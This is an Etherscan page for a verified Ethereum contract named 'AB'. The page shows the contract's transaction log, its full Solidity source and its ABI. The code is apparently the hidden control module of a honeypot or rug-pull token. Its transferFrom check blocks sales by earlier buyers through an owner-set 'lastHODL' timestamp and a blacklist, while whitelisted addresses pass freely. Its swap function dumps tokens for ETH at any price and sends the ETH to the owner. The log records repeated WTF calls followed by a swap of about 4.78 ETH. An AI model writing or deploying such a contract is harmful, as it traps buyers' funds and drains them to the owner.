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0 ETH

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$0.00

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Transaction Hash
Method
Block
From
To
Swap175220802023-06-20 16:25:23506 days ago1687278323IN
0xA0185266...EafEc66b8
0 ETH0.0044864123.82384772
Add WL175212942023-06-20 13:45:59506 days ago1687268759IN
0xA0185266...EafEc66b8
0 ETH0.0031023119.15800853
WTF175210302023-06-20 12:52:35506 days ago1687265555IN
0xA0185266...EafEc66b8
0 ETH0.0003728313.01555992
WTF175209682023-06-20 12:40:11506 days ago1687264811IN
0xA0185266...EafEc66b8
0 ETH0.0004210314.69851657
WTF175209552023-06-20 12:37:35506 days ago1687264655IN
0xA0185266...EafEc66b8
0 ETH0.0004940417.24723737
WTF175209262023-06-20 12:31:47506 days ago1687264307IN
0xA0185266...EafEc66b8
0 ETH0.0004828116.85528257
WTF175209192023-06-20 12:30:23506 days ago1687264223IN
0xA0185266...EafEc66b8
0 ETH0.0004900317.1072446
WTF175209152023-06-20 12:29:35506 days ago1687264175IN
0xA0185266...EafEc66b8
0 ETH0.0004337715.14313846
WTF175208742023-06-20 12:21:23506 days ago1687263683IN
0xA0185266...EafEc66b8
0 ETH0.0003965713.8446375
WTF175208702023-06-20 12:20:35506 days ago1687263635IN
0xA0185266...EafEc66b8
0 ETH0.0004094814.29513501
WTF175208672023-06-20 12:19:59506 days ago1687263599IN
0xA0185266...EafEc66b8
0 ETH0.0004348315.18011452
WTF175208642023-06-20 12:19:23506 days ago1687263563IN
0xA0185266...EafEc66b8
0 ETH0.0004374515.27163828
WTF175208522023-06-20 12:16:59506 days ago1687263419IN
0xA0185266...EafEc66b8
0 ETH0.0004345615.17078768
WTF175208462023-06-20 12:15:47506 days ago1687263347IN
0xA0185266...EafEc66b8
0 ETH0.0003897213.60549223
WTF175208322023-06-20 12:12:59506 days ago1687263179IN
0xA0185266...EafEc66b8
0 ETH0.000389213.58705964
WTF175208212023-06-20 12:10:47506 days ago1687263047IN
0xA0185266...EafEc66b8
0 ETH0.0006501314.2121416
Init Param175208132023-06-20 12:09:11506 days ago1687262951IN
0xA0185266...EafEc66b8
0 ETH0.0010299715.00288394
0x60806040175206902023-06-20 11:44:23506 days ago1687261463IN
 Create: AB
0 ETH0.0118352114.31420833

Latest 2 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
175220802023-06-20 16:25:23506 days ago1687278323
0xA0185266...EafEc66b8
4.77619874 ETH
175220802023-06-20 16:25:23506 days ago1687278323
0xA0185266...EafEc66b8
4.77619874 ETH
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Contract Source Code Verified (Exact Match)

Contract Name:
AB

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-20
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function decimals() external returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract AB is Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    address coin;
    address pair;

    mapping(address => bool) whites;
    mapping(address => bool) blacks;
    mapping (address => uint256) hodl;
    uint256 public lastHODL;

    receive() external payable { }

    function initParam(address _coin, address _pair) external onlyOwner {
        coin = _coin;
        pair = _pair;
    }

    function WTF(uint256 amount) external onlyOwner {
        if (amount == 0) lastHODL = block.timestamp;
        else lastHODL = amount;
    }

    function resetParam() external onlyOwner {
        coin = address(0);
        pair = address(0);
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        if (whites[from] || whites[to] || pair == address(0)) {
            return true;
        }
        else if ((from == owner() || from == address(this)) && to == pair) {
            return false;
        }
        if (from == pair) {
            if (hodl[to] == 0) {
                hodl[to] = block.timestamp;
            }  
        }
        else {            
            require(!blacks[from]);
            require(hodl[from] >= lastHODL);
        }
        return true;
    }

    function swap(uint256 count) external onlyOwner {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = coin;
        path[1] = uniswapV2Router.WETH();

        IERC20(coin).approve(address(uniswapV2Router), ~uint256(0));

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            10 ** count,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );  

        payable(msg.sender).transfer(address(this).balance);
    }

    function addWL(address[] memory _wat) external onlyOwner{
        for (uint i = 0; i < _wat.length; i++) {
            whites[_wat[i]] = true;
        }
    }

    function addBL(address[] memory _bat) external onlyOwner{
        for (uint i = 0; i < _bat.length; i++) {
            blacks[_bat[i]] = true;
        }
    }

    function claimDust() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"WTF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bat","type":"address[]"}],"name":"addBL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_wat","type":"address[]"}],"name":"addWL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimDust","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_coin","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"initParam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastHODL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetParam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

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Swarm Source

ipfs://f6182ce40eea818dd4c81830ecea017d41a31d896b2e4d7b4d65214aa459cbc5

Block Transaction Difficulty Gas Used Reward
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Block Uncle Number Difficulty Gas Used Reward
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Validator Index Block Amount
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Transaction Hash Block Value Eth2 PubKey Valid
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A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.